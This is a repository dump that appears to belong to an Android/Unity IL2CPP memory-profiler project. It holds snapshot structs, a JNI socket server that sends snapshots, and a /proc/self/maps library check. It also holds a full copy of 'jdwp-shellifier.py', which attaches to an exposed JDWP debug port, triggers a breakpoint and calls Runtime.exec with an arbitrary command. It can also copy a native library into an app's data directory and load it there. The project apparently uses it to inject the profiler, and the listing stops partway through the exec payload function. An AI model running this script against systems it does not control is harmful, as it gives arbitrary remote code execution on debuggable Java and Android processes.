67 | Il2CppManagedMemorySection* stacks;
68 | };
69 |
70 | struct NativeObject
71 | {
72 | uint32_t gcHandleIndex;
73 | uint32_t size;
74 | uint32_t instanceId;
75 | uint32_t classId;
76 | uint32_t referencedNativeObjectIndicesCount;
77 | uint32_t* referencedNativeObjectIndices;
78 | };
79 |
80 | struct Il2CppGCHandles
81 | {
82 | uint32_t trackedObjectCount;
83 | uint64_t* pointersToObjects;
84 | };
85 |
86 | struct Il2CppRuntimeInformation
87 | {
88 | uint32_t pointerSize;
89 | uint32_t objectHeaderSize;
90 | uint32_t arrayHeaderSize;
91 | uint32_t arrayBoundsOffsetInHeader;
92 | uint32_t arraySizeOffsetInHeader;
93 | uint32_t allocationGranularity;
94 | };
95 |
96 | struct Il2CppManagedMemorySnapshot
97 | {
98 | Il2CppManagedHeap heap;
99 | Il2CppStacks stacks;
100 | Il2CppMetadataSnapshot metadata;
101 | Il2CppGCHandles gcHandles;
102 | Il2CppRuntimeInformation runtimeInformation;
103 | void* additionalUserInformation;
104 | };
105 |
106 | #endif
--------------------------------------------------------------------------------
/plugins/Android/jni/umpserver.cpp:
--------------------------------------------------------------------------------
1 | #include "umpserver.h"
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #ifdef __cplusplus
10 | extern "C" {
11 | #endif // __cplusplus
12 |
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 |
22 | #include "umputils.h"
23 |
24 | struct umpSendCache {
25 | std::uint32_t size;
26 | const char* data;
27 | };
28 |
29 | std::mutex sendCacheMutex_;
30 | umpSendCache sendCache_;
31 | void (*recvCallback_)(unsigned int, const char*, unsigned int);
32 |
33 | char* buffer_ = nullptr;
34 | std::atomic serverRunning_ {true};
35 | std::atomic hasClient_ {false};
36 | std::thread socketThread_;
37 | bool started_ = false;
38 |
39 | bool umpServerStarted() {
40 | return started_;
41 | }
42 |
43 | void umpSend(const char* buffer, unsigned int size) {
44 | {
45 | std::lock_guard lock(sendCacheMutex_);
46 | sendCache_.size = size;
47 | sendCache_.data = buffer;
48 | UMPLOGI("Sending Snapshot size: %i", size);
49 | }
50 | if (size > 0) {
51 | while (true) {
52 | {
53 | std::lock_guard lock(sendCacheMutex_);
54 | if (sendCache_.size == 0)
55 | break;
56 | }
57 | std::this_thread::sleep_for(std::chrono::milliseconds(500));
58 | }
59 | }
60 | }
61 |
62 | void umpRecv(void (*recvCallback)(unsigned int, const char*, unsigned int)) {
63 | recvCallback_ = recvCallback;
64 | }
65 |
66 | void umpServerLoop(int sock);
67 |
68 | int umpServerStart(int port = 8000) {
69 | if (started_)
70 | return 0;
71 | // allocate buffer
72 | buffer_ = (char*)malloc(BUFSIZ);
73 | memset(buffer_, 0, BUFSIZ);
74 | // setup server addr
75 | struct sockaddr_in serverAddr;
76 | memset(&serverAddr, 0, sizeof(serverAddr));
77 | serverAddr.sin_family = AF_INET;
78 | serverAddr.sin_addr.s_addr = INADDR_ANY;
79 | serverAddr.sin_port = htons(port);
80 | // create socket
81 | int sock = socket(PF_INET, SOCK_STREAM, 0);
82 | if (sock < 0) {
83 | UMPLOGI("start.socket %i", sock);
84 | return -1;
85 | }
86 | // bind address
87 | int ecode = bind(sock, (struct sockaddr*)&serverAddr, sizeof(struct sockaddr));
88 | if (ecode < 0) {
89 | UMPLOGI("start.bind %i", ecode);
90 | return -1;
91 | }
92 | // set max send buffer
93 | int sendbuff = 327675;
94 | ecode = setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sendbuff, sizeof(sendbuff));
95 | if (ecode < 0) {
96 | UMPLOGI("start.setsockopt %i", ecode);
97 | return -1;
98 | }
99 | // listen for incomming connections
100 | ecode = listen(sock, 2);
101 | if (ecode < 0) {
102 | UMPLOGI("start.listen %i", ecode);
103 | return -1;
104 | }
105 | started_ = true;
106 | serverRunning_ = true;
107 | hasClient_ = false;
108 | socketThread_ = std::thread(umpServerLoop, sock);
109 | return 0;
110 | }
111 |
112 | void umpServerShutdown() {
113 | if (!started_)
114 | return;
115 | serverRunning_ = false;
116 | hasClient_ = false;
117 | socketThread_.join();
118 | delete[] buffer_;
119 | buffer_ = nullptr;
120 | started_ = false;
121 | }
122 |
123 | void umpServerLoop(int sock) {
124 | struct timeval time;
125 | time.tv_usec = 33;
126 | fd_set fds;
127 | int clientSock = -1;
128 | while (serverRunning_) {
129 | if (!serverRunning_)
130 | break;
131 | if (!hasClient_) { // handle new connection
132 | FD_ZERO(&fds);
133 | FD_SET(sock, &fds);
134 | if (select(sock + 1, &fds, NULL, NULL, &time) < 1)
135 | continue;
136 | if (FD_ISSET(sock, &fds)) {
137 | clientSock = accept(sock, NULL, NULL);
138 | if (clientSock >= 0) {
139 | hasClient_ = true;
140 | }
141 | }
142 | } else {
143 | // check for client connectivity
144 | FD_ZERO(&fds);
145 | FD_SET(clientSock, &fds);
146 | if (select(clientSock + 1, &fds, NULL, NULL, &time) > 0 && FD_ISSET(clientSock, &fds)) {
147 | int length = recv(clientSock, buffer_, BUFSIZ, 0);
148 | if (length <= 0) {
149 | hasClient_ = false;
150 | continue;
151 | } else {
152 | if (length > 0) {
153 | std::uint32_t type = ntohl(*reinterpret_cast(buffer_));
154 | recvCallback_(type, buffer_ + 4, static_cast(length - 4));
155 | }
156 | }
157 | }
158 | std::lock_guard lock(sendCacheMutex_);
159 | if (sendCache_.size > 0) {
160 | send(clientSock, &sendCache_.size, 4, 0); // send net buffer size
161 | send(clientSock, sendCache_.data, sendCache_.size, 0); // then send data
162 | // UMPLOGI("sending: %i, %i", sendCache_.compressedSize, sendCache_.size);
163 | sendCache_.size = 0;
164 | }
165 | }
166 | }
167 | close(sock);
168 | if (hasClient_)
169 | close(clientSock);
170 | }
171 |
172 | #ifdef __cplusplus
173 | }
174 | #endif // __cplusplus
--------------------------------------------------------------------------------
/plugins/Android/jni/umpserver.h:
--------------------------------------------------------------------------------
1 | #ifndef UMPSERVER_H
2 | #define UMPSERVER_H
3 |
4 | #ifdef __cplusplus
5 | extern "C" {
6 | #endif // __cplusplus
7 |
8 | enum UMPMessageType {
9 | CAPTURE_SNAPSHOT = 0,
10 | };
11 |
12 | int umpServerStart(int port);
13 | bool umpServerStarted();
14 | void umpSend(const char* buffer, unsigned int size);
15 | void umpRecv(void (*recvCallback)(unsigned int, const char*, unsigned int));
16 | void umpServerShutdown();
17 |
18 | #ifdef __cplusplus
19 | }
20 | #endif // __cplusplus
21 |
22 | #endif
--------------------------------------------------------------------------------
/plugins/Android/jni/umputils.cpp:
--------------------------------------------------------------------------------
1 | #include "umputils.h"
2 |
3 | #ifdef __cplusplus
4 | extern "C" {
5 | #endif // __cplusplus
6 |
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | bool umpIsLibraryLoaded(const std::string& lib, std::string& libraryPath) {
17 | char line[512]; // proc/self/maps parsing code by xhook
18 | FILE *fp;
19 | uintptr_t baseAddr;
20 | char perm[5];
21 | unsigned long offset;
22 | int pathNamePos;
23 | char *pathName;
24 | size_t pathNameLen;
25 | if (NULL == (fp = fopen("/proc/self/maps", "r")))
26 | return false;
27 | while(fgets(line, sizeof(line), fp)) {
28 | if(sscanf(line, "%" PRIxPTR"-%*lx %4s %lx %*x:%*x %*d%n", &baseAddr, perm, &offset, &pathNamePos) != 3) continue;
29 | // check permission & offset
30 | if(perm[0] != 'r') continue;
31 | if(perm[3] != 'p') continue; // do not touch the shared memory
32 | if(0 != offset) continue;
33 | // get pathname
34 | while(isspace(line[pathNamePos]) && pathNamePos < (int)(sizeof(line) - 1))
35 | pathNamePos += 1;
36 | if(pathNamePos >= (int)(sizeof(line) - 1)) continue;
37 | pathName = line + pathNamePos;
38 | pathNameLen = strlen(pathName);
39 | if(0 == pathNameLen) continue;
40 | if(pathName[pathNameLen - 1] == '\n') {
41 | pathName[pathNameLen - 1] = '\0';
42 | pathNameLen -= 1;
43 | }
44 | if(0 == pathNameLen) continue;
45 | if('[' == pathName[0]) continue;
46 | // check path
47 | auto pathnameStr = std::string(pathName);
48 | if (pathnameStr.find(lib) != std::string::npos) {
49 | libraryPath = pathnameStr;
50 | UMPLOGI("%s is loaded", pathnameStr.c_str());
51 | fclose(fp);
52 | return true;
53 | }
54 | }
55 | fclose(fp);
56 | return false;
57 | }
58 |
59 | #ifdef __cplusplus
60 | }
61 | #endif // __cplusplus
--------------------------------------------------------------------------------
/plugins/Android/jni/umputils.h:
--------------------------------------------------------------------------------
1 | #ifndef UMPUTILS_H
2 | #define UMPUTILS_H
3 |
4 | #include
5 |
6 | #ifdef __cplusplus
7 | extern "C" {
8 | #endif // __cplusplus
9 |
10 | #include
11 |
12 | #define UMPLOGI(...) __android_log_print(ANDROID_LOG_INFO, "UMP", __VA_ARGS__)
13 | #define UMPLOGW(...) __android_log_print(ANDROID_LOG_WARN, "UMP", __VA_ARGS__)
14 | #define UMPLOGE(...) __android_log_print(ANDROID_LOG_ERROR, "UMP", __VA_ARGS__)
15 |
16 | bool umpIsLibraryLoaded(const std::string& lib, std::string& libraryPath);
17 |
18 | #ifdef __cplusplus
19 | }
20 | #endif // __cplusplus
21 |
22 | #endif
--------------------------------------------------------------------------------
/plugins/README.md:
--------------------------------------------------------------------------------
1 | ```bash
2 | # 需要android-ndk-r16b或更高
3 | android-ndk-r16b/ndk-build
4 | ```
5 |
6 |
--------------------------------------------------------------------------------
/release/jdwp-shellifier.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | ################################################################################
3 | #
4 | # Universal JDWP shellifier
5 | #
6 | # @_hugsy_
7 | #
8 | # And special cheers to @lanjelot
9 | #
10 | # loadlib option by @ikoz
11 | #
12 |
13 | import socket
14 | import time
15 | import sys
16 | import struct
17 | import urllib
18 | import argparse
19 | import traceback
20 |
21 |
22 | ################################################################################
23 | #
24 | # JDWP protocol variables
25 | #
26 | HANDSHAKE = "JDWP-Handshake"
27 |
28 | REQUEST_PACKET_TYPE = 0x00
29 | REPLY_PACKET_TYPE = 0x80
30 |
31 | # Command signatures
32 | VERSION_SIG = (1, 1)
33 | CLASSESBYSIGNATURE_SIG = (1, 2)
34 | ALLCLASSES_SIG = (1, 3)
35 | ALLTHREADS_SIG = (1, 4)
36 | IDSIZES_SIG = (1, 7)
37 | CREATESTRING_SIG = (1, 11)
38 | SUSPENDVM_SIG = (1, 8)
39 | RESUMEVM_SIG = (1, 9)
40 | SIGNATURE_SIG = (2, 1)
41 | FIELDS_SIG = (2, 4)
42 | METHODS_SIG = (2, 5)
43 | GETVALUES_SIG = (2, 6)
44 | CLASSOBJECT_SIG = (2, 11)
45 | INVOKESTATICMETHOD_SIG = (3, 3)
46 | REFERENCETYPE_SIG = (9, 1)
47 | INVOKEMETHOD_SIG = (9, 6)
48 | STRINGVALUE_SIG = (10, 1)
49 | THREADNAME_SIG = (11, 1)
50 | THREADSUSPEND_SIG = (11, 2)
51 | THREADRESUME_SIG = (11, 3)
52 | THREADSTATUS_SIG = (11, 4)
53 | EVENTSET_SIG = (15, 1)
54 | EVENTCLEAR_SIG = (15, 2)
55 | EVENTCLEARALL_SIG = (15, 3)
56 |
57 | # Other codes
58 | MODKIND_COUNT = 1
59 | MODKIND_THREADONLY = 2
60 | MODKIND_CLASSMATCH = 5
61 | MODKIND_LOCATIONONLY = 7
62 | EVENT_BREAKPOINT = 2
63 | SUSPEND_EVENTTHREAD = 1
64 | SUSPEND_ALL = 2
65 | NOT_IMPLEMENTED = 99
66 | VM_DEAD = 112
67 | INVOKE_SINGLE_THREADED = 2
68 | TAG_OBJECT = 76
69 | TAG_STRING = 115
70 | TYPE_CLASS = 1
71 |
72 |
73 | ################################################################################
74 | #
75 | # JDWP client class
76 | #
77 | class JDWPClient:
78 |
79 | def __init__(self, host, port=8000):
80 | self.host = host
81 | self.port = port
82 | self.methods = {}
83 | self.fields = {}
84 | self.id = 0x01
85 | return
86 |
87 | def create_packet(self, cmdsig, data=""):
88 | flags = 0x00
89 | cmdset, cmd = cmdsig
90 | pktlen = len(data) + 11
91 | pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd))
92 | pkt+= data
93 | self.id += 2
94 | return pkt
95 |
96 | def read_reply(self):
97 | header = self.socket.recv(11)
98 | pktlen, id, flags, errcode = struct.unpack(">IIcH", header)
99 |
100 | if flags == chr(REPLY_PACKET_TYPE):
101 | if errcode :
102 | raise Exception("Received errcode %d" % errcode)
103 |
104 | buf = ""
105 | while len(buf) + 11 < pktlen:
106 | data = self.socket.recv(1024)
107 | if len(data):
108 | buf += data
109 | else:
110 | time.sleep(1)
111 | return buf
112 |
113 | def parse_entries(self, buf, formats, explicit=True):
114 | entries = []
115 | index = 0
116 |
117 |
118 | if explicit:
119 | nb_entries = struct.unpack(">I", buf[:4])[0]
120 | buf = buf[4:]
121 | else:
122 | nb_entries = 1
123 |
124 | for i in range(nb_entries):
125 | data = {}
126 | for fmt, name in formats:
127 | if fmt == "L" or fmt == 8:
128 | data[name] = int(struct.unpack(">Q",buf[index:index+8]) [0])
129 | index += 8
130 | elif fmt == "I" or fmt == 4:
131 | data[name] = int(struct.unpack(">I", buf[index:index+4])[0])
132 | index += 4
133 | elif fmt == 'S':
134 | l = struct.unpack(">I", buf[index:index+4])[0]
135 | data[name] = buf[index+4:index+4+l]
136 | index += 4+l
137 | elif fmt == 'C':
138 | data[name] = ord(struct.unpack(">c", buf[index])[0])
139 | index += 1
140 | elif fmt == 'Z':
141 | t = ord(struct.unpack(">c", buf[index])[0])
142 | if t == 115:
143 | s = self.solve_string(buf[index+1:index+9])
144 | data[name] = s
145 | index+=9
146 | elif t == 73:
147 | data[name] = struct.unpack(">I", buf[index+1:index+5])[0]
148 | buf = struct.unpack(">I", buf[index+5:index+9])
149 | index=0
150 |
151 | else:
152 | print "Error"
153 | sys.exit(1)
154 |
155 | entries.append( data )
156 |
157 | return entries
158 |
159 | def format(self, fmt, value):
160 | if fmt == "L" or fmt == 8:
161 | return struct.pack(">Q", value)
162 | elif fmt == "I" or fmt == 4:
163 | return struct.pack(">I", value)
164 |
165 | raise Exception("Unknown format")
166 |
167 | def unformat(self, fmt, value):
168 | if fmt == "L" or fmt == 8:
169 | return struct.unpack(">Q", value[:8])[0]
170 | elif fmt == "I" or fmt == 4:
171 | return struct.unpack(">I", value[:4])[0]
172 | else:
173 | raise Exception("Unknown format")
174 | return
175 |
176 | def start(self):
177 | self.handshake(self.host, self.port)
178 | self.idsizes()
179 | self.getversion()
180 | self.allclasses()
181 | return
182 |
183 | def handshake(self, host, port):
184 | s = socket.socket()
185 | try:
186 | s.connect( (host, port) )
187 | except socket.error as msg:
188 | raise Exception("Failed to connect: %s" % msg)
189 |
190 | s.send( HANDSHAKE )
191 |
192 | if s.recv( len(HANDSHAKE) ) != HANDSHAKE:
193 | raise Exception("Failed to handshake")
194 | else:
195 | self.socket = s
196 |
197 | return
198 |
199 | def leave(self):
200 | self.socket.close()
201 | return
202 |
203 | def getversion(self):
204 | self.socket.sendall( self.create_packet(VERSION_SIG) )
205 | buf = self.read_reply()
206 | formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
207 | ('S', "vmVersion"), ('S', "vmName"), ]
208 | for entry in self.parse_entries(buf, formats, False):
209 | for name,value in entry.iteritems():
210 | setattr(self, name, value)
211 | return
212 |
213 | @property
214 | def version(self):
215 | return "%s - %s" % (self.vmName, self.vmVersion)
216 |
217 | def idsizes(self):
218 | self.socket.sendall( self.create_packet(IDSIZES_SIG) )
219 | buf = self.read_reply()
220 | formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
221 | ("I", "referenceTypeIDSize"), ("I", "frameIDSize") ]
222 | for entry in self.parse_entries(buf, formats, False):
223 | for name,value in entry.iteritems():
224 | setattr(self, name, value)
225 | return
226 |
227 | def allthreads(self):
228 | try:
229 | getattr(self, "threads")
230 | except :
231 | self.socket.sendall( self.create_packet(ALLTHREADS_SIG) )
232 | buf = self.read_reply()
233 | formats = [ (self.objectIDSize, "threadId")]
234 | self.threads = self.parse_entries(buf, formats)
235 | finally:
236 | return self.threads
237 |
238 | def get_thread_by_name(self, name):
239 | self.allthreads()
240 | for t in self.threads:
241 | threadId = self.format(self.objectIDSize, t["threadId"])
242 | self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) )
243 | buf = self.read_reply()
244 | if len(buf) and name == self.readstring(buf):
245 | return t
246 | return None
247 |
248 | def allclasses(self):
249 | try:
250 | getattr(self, "classes")
251 | except:
252 | self.socket.sendall( self.create_packet(ALLCLASSES_SIG) )
253 | buf = self.read_reply()
254 | formats = [ ('C', "refTypeTag"),
255 | (self.referenceTypeIDSize, "refTypeId"),
256 | ('S', "signature"),
257 | ('I', "status")]
258 | self.classes = self.parse_entries(buf, formats)
259 |
260 | return self.classes
261 |
262 | def get_class_by_name(self, name):
263 | for entry in self.classes:
264 | if entry["signature"].lower() == name.lower() :
265 | return entry
266 | return None
267 |
268 | def get_methods(self, refTypeId):
269 | if not self.methods.has_key(refTypeId):
270 | refId = self.format(self.referenceTypeIDSize, refTypeId)
271 | self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) )
272 | buf = self.read_reply()
273 | formats = [ (self.methodIDSize, "methodId"),
274 | ('S', "name"),
275 | ('S', "signature"),
276 | ('I', "modBits")]
277 | self.methods[refTypeId] = self.parse_entries(buf, formats)
278 | return self.methods[refTypeId]
279 |
280 | def get_method_by_name(self, name):
281 | for refId in self.methods.keys():
282 | for entry in self.methods[refId]:
283 | if entry["name"].lower() == name.lower() :
284 | return entry
285 | return None
286 |
287 | def getfields(self, refTypeId):
288 | if not self.fields.has_key( refTypeId ):
289 | refId = self.format(self.referenceTypeIDSize, refTypeId)
290 | self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) )
291 | buf = self.read_reply()
292 | formats = [ (self.fieldIDSize, "fieldId"),
293 | ('S', "name"),
294 | ('S', "signature"),
295 | ('I', "modbits")]
296 | self.fields[refTypeId] = self.parse_entries(buf, formats)
297 | return self.fields[refTypeId]
298 |
299 | def getvalue(self, refTypeId, fieldId):
300 | data = self.format(self.referenceTypeIDSize, refTypeId)
301 | data+= struct.pack(">I", 1)
302 | data+= self.format(self.fieldIDSize, fieldId)
303 | self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) )
304 | buf = self.read_reply()
305 | formats = [ ("Z", "value") ]
306 | field = self.parse_entries(buf, formats)[0]
307 | return field
308 |
309 | def createstring(self, data):
310 | buf = self.buildstring(data)
311 | self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) )
312 | buf = self.read_reply()
313 | return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)
314 |
315 | def buildstring(self, data):
316 | return struct.pack(">I", len(data)) + data
317 |
318 | def readstring(self, data):
319 | size = struct.unpack(">I", data[:4])[0]
320 | return data[4:4+size]
321 |
322 | def suspendvm(self):
323 | self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) )
324 | self.read_reply()
325 | return
326 |
327 | def resumevm(self):
328 | self.socket.sendall( self.create_packet( RESUMEVM_SIG ) )
329 | self.read_reply()
330 | return
331 |
332 | def invokestatic(self, classId, threadId, methId, *args):
333 | data = self.format(self.referenceTypeIDSize, classId)
334 | data+= self.format(self.objectIDSize, threadId)
335 | data+= self.format(self.methodIDSize, methId)
336 | data+= struct.pack(">I", len(args))
337 | for arg in args:
338 | data+= arg
339 | data+= struct.pack(">I", 0)
340 |
341 | self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) )
342 | buf = self.read_reply()
343 | return buf
344 |
345 | def invoke(self, objId, threadId, classId, methId, *args):
346 | data = self.format(self.objectIDSize, objId)
347 | data+= self.format(self.objectIDSize, threadId)
348 | data+= self.format(self.referenceTypeIDSize, classId)
349 | data+= self.format(self.methodIDSize, methId)
350 | data+= struct.pack(">I", len(args))
351 | for arg in args:
352 | data+= arg
353 | data+= struct.pack(">I", 0)
354 |
355 | self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) )
356 | buf = self.read_reply()
357 | return buf
358 |
359 | def invokeVoid(self, objId, threadId, classId, methId, *args):
360 | data = self.format(self.objectIDSize, objId)
361 | data+= self.format(self.objectIDSize, threadId)
362 | data+= self.format(self.referenceTypeIDSize, classId)
363 | data+= self.format(self.methodIDSize, methId)
364 | data+= struct.pack(">I", len(args))
365 | for arg in args:
366 | data+= arg
367 | data+= struct.pack(">I", 0)
368 |
369 | self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) )
370 | buf = None
371 | return buf
372 |
373 | def solve_string(self, objId):
374 | self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) )
375 | buf = self.read_reply()
376 | if len(buf):
377 | return self.readstring(buf)
378 | else:
379 | return ""
380 |
381 | def query_thread(self, threadId, kind):
382 | data = self.format(self.objectIDSize, threadId)
383 | self.socket.sendall( self.create_packet(kind, data=data) )
384 | buf = self.read_reply()
385 | return
386 |
387 | def suspend_thread(self, threadId):
388 | return self.query_thread(threadId, THREADSUSPEND_SIG)
389 |
390 | def status_thread(self, threadId):
391 | return self.query_thread(threadId, THREADSTATUS_SIG)
392 |
393 | def resume_thread(self, threadId):
394 | return self.query_thread(threadId, THREADRESUME_SIG)
395 |
396 | def send_event(self, eventCode, *args):
397 | data = ""
398 | data+= chr( eventCode )
399 | data+= chr( SUSPEND_ALL )
400 | data+= struct.pack(">I", len(args))
401 |
402 | for kind, option in args:
403 | data+= chr( kind )
404 | data+= option
405 |
406 | self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) )
407 | buf = self.read_reply()
408 | return struct.unpack(">I", buf)[0]
409 |
410 | def clear_event(self, eventCode, rId):
411 | data = chr(eventCode)
412 | data+= struct.pack(">I", rId)
413 | self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) )
414 | self.read_reply()
415 | return
416 |
417 | def clear_events(self):
418 | self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) )
419 | self.read_reply()
420 | return
421 |
422 | def wait_for_event(self):
423 | buf = self.read_reply()
424 | return buf
425 |
426 | def parse_event_breakpoint(self, buf, eventId):
427 | num = struct.unpack(">I", buf[2:6])[0]
428 | rId = struct.unpack(">I", buf[6:10])[0]
429 | if rId != eventId:
430 | return None
431 | tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize])
432 | loc = -1 # don't care
433 | return rId, tId, loc
434 |
435 |
436 |
437 | def runtime_exec(jdwp, args):
438 | print ("[+] Targeting '%s:%d'" % (args.target, args.port))
439 | print ("[+] Reading settings for '%s'" % jdwp.version)
440 |
441 | # 1. get Runtime class reference
442 | runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;")
443 | if runtimeClass is None:
444 | print ("[-] Cannot find class Runtime")
445 | return False
446 | print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])
447 |
448 | # 2. get getRuntime() meth reference
449 | jdwp.get_methods(runtimeClass["refTypeId"])
450 | getRuntimeMeth = jdwp.get_method_by_name("getRuntime")
451 | if getRuntimeMeth is None:
452 | print ("[-] Cannot find method Runtime.getRuntime()")
453 | return False
454 | print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])
455 |
456 | # 3. setup breakpoint on frequently called method
457 | c = jdwp.get_class_by_name( args.break_on_class )
458 | if c is None:
459 | print("[-] Could not access class '%s'" % args.break_on_class)
460 | print("[-] It is possible that this class is not used by application")
461 | print("[-] Test with another one with option `--break-on`")
462 | return False
463 |
464 | jdwp.get_methods( c["refTypeId"] )
465 | m = jdwp.get_method_by_name( args.break_on_method )
466 | if m is None:
467 | print("[-] Could not access method '%s'" % args.break_on)
468 | return False
469 |
470 | loc = chr( TYPE_CLASS )
471 | loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] )
472 | loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] )
473 | loc+= struct.pack(">II", 0, 0)
474 | data = [ (MODKIND_LOCATIONONLY, loc), ]
475 | rId = jdwp.send_event( EVENT_BREAKPOINT, *data )
476 | print ("[+] Created break event id=%x" % rId)
477 |
478 | # 4. resume vm and wait for event
479 | jdwp.resumevm()
480 |
481 | print ("[+] Waiting for an event on '%s'" % args.break_on)
482 | while True:
483 | buf = jdwp.wait_for_event()
484 | ret = jdwp.parse_event_breakpoint(buf, rId)
485 | if ret is not None:
486 | break
487 |
488 | rId, tId, loc = ret
489 | print ("[+] Received matching event from thread %#x" % tId)
490 |
491 | # time.sleep(1)
492 | # jdwp.clear_event(EVENT_BREAKPOINT, rId)
493 |
494 | # 5. Now we can execute any code
495 | if args.cmd:
496 | runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd)
497 | elif args.loadlib:
498 | packagename = getPackageName(jdwp, tId)
499 | tmpLocation = "/data/local/tmp/" + args.loadlib
500 | dstLocation = "/data/data/" + packagename + "/" + args.loadlib
501 | command = "cp " + tmpLocation + " " + dstLocation
502 | print("[*] Copying library from " + tmpLocation + " to " + dstLocation)
503 | runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], command)
504 | time.sleep(2)
505 | print("[*] Executing Runtime.load(" + dstLocation + ")")
506 | runtime_load_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], dstLocation)
507 | time.sleep(2)
508 | print("[*] Library should now be loaded")
509 | else:
510 | # by default, only prints out few system properties
511 | runtime_exec_info(jdwp, tId)
512 |
513 | jdwp.resumevm()
514 |
515 | print ("[!] Command successfully executed")
516 |
517 | return True
518 |
519 |
520 | def runtime_exec_info(jdwp, threadId):
521 | #
522 | # This function calls java.lang.System.getProperties() and
523 | # displays OS properties (non-intrusive)
524 | #
525 | properties = {"java.version": "Java Runtime Environment version",
526 | "java.vendor": "Java Runtime Environment vendor",
527 | "java.vendor.url": "Java vendor URL",
528 | "java.home": "Java installation directory",
529 | "java.vm.specification.version": "Java Virtual Machine specification version",
530 | "java.vm.specification.vendor": "Java Virtual Machine specification vendor",
531 | "java.vm.specification.name": "Java Virtual Machine specification name",
532 | "java.vm.version": "Java Virtual Machine implementation version",
533 | "java.vm.vendor": "Java Virtual Machine implementation vendor",
534 | "java.vm.name": "Java Virtual Machine implementation name",
535 | "java.specification.version": "Java Runtime Environment specification version",
536 | "java.specification.vendor": "Java Runtime Environment specification vendor",
537 | "java.specification.name": "Java Runtime Environment specification name",
538 | "java.class.version": "Java class format version number",
539 | "java.class.path": "Java class path",
540 | "java.library.path": "List of paths to search when loading libraries",
541 | "java.io.tmpdir": "Default temp file path",
542 | "java.compiler": "Name of JIT compiler to use",
543 | "java.ext.dirs": "Path of extension directory or directories",
544 | "os.name": "Operating system name",
545 | "os.arch": "Operating system architecture",
546 | "os.version": "Operating system version",
547 | "file.separator": "File separator",
548 | "path.separator": "Path separator",
549 | "user.name": "User's account name",
550 | "user.home": "User's home directory",
551 | "user.dir": "User's current working directory"
552 | }
553 |
554 | systemClass = jdwp.get_class_by_name("Ljava/lang/System;")
555 | if systemClass is None:
556 | print ("[-] Cannot find class java.lang.System")
557 | return False
558 |
559 | jdwp.get_methods(systemClass["refTypeId"])
560 | getPropertyMeth = jdwp.get_method_by_name("getProperty")
561 | if getPropertyMeth is None:
562 | print ("[-] Cannot find method System.getProperty()")
563 | return False
564 |
565 | for propStr, propDesc in properties.iteritems():
566 | propObjIds = jdwp.createstring(propStr)
567 | if len(propObjIds) == 0:
568 | print ("[-] Failed to allocate command")
569 | return False
570 | propObjId = propObjIds[0]["objId"]
571 |
572 | data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ]
573 | buf = jdwp.invokestatic(systemClass["refTypeId"],
574 | threadId,
575 | getPropertyMeth["methodId"],
576 | *data)
577 | if buf[0] != chr(TAG_STRING):
578 | print ("[-] %s: Unexpected returned type: expecting String" % propStr)
579 | else:
580 | retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
581 | res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId))
582 | print ("[+] Found %s '%s'" % (propDesc, res))
583 |
584 | return True
585 |
586 |
587 | def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command):
588 | #
589 | # This function will invoke command as a payload, which will be running
590 | # with JVM privilege on host (intrusive).
591 | #
592 | print ("[+] Selected payload '%s'" % command)
593 |
594 | # 1. allocating string containing our command to exec()
595 | cmdObjIds = jdwp.createstring( command )
596 | if len(cmdObjIds) == 0:
597 | print ("[-] Failed to allocate command")
598 | return False
599 | cmdObjId = cmdObjIds[0]["objId"]
600 | print ("[+] Command string object created id:%x" % cmdObjId)
601 |
602 | # 2. use context to get Runtime object
603 | buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
604 | if buf[0] != chr(TAG_OBJECT):
605 | print ("[-] Unexpected returned type: expecting Object")
606 | return False
607 | rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
608 |
609 | if rt is None:
610 | print "[-] Failed to invoke Runtime.getRuntime()"
611 | return False
612 | print ("[+] Runtime.getRuntime() returned context id:%#x" % rt)
613 |
614 | # 3. find exec() method
615 | execMeth = jdwp.get_method_by_name("exec")
616 | if execMeth is None:
617 | print ("[-] Cannot find method Runtime.exec()")
618 | return False
619 | print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])
620 |
621 | # 4. call exec() in this context with the alloc-ed string
622 | data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ]
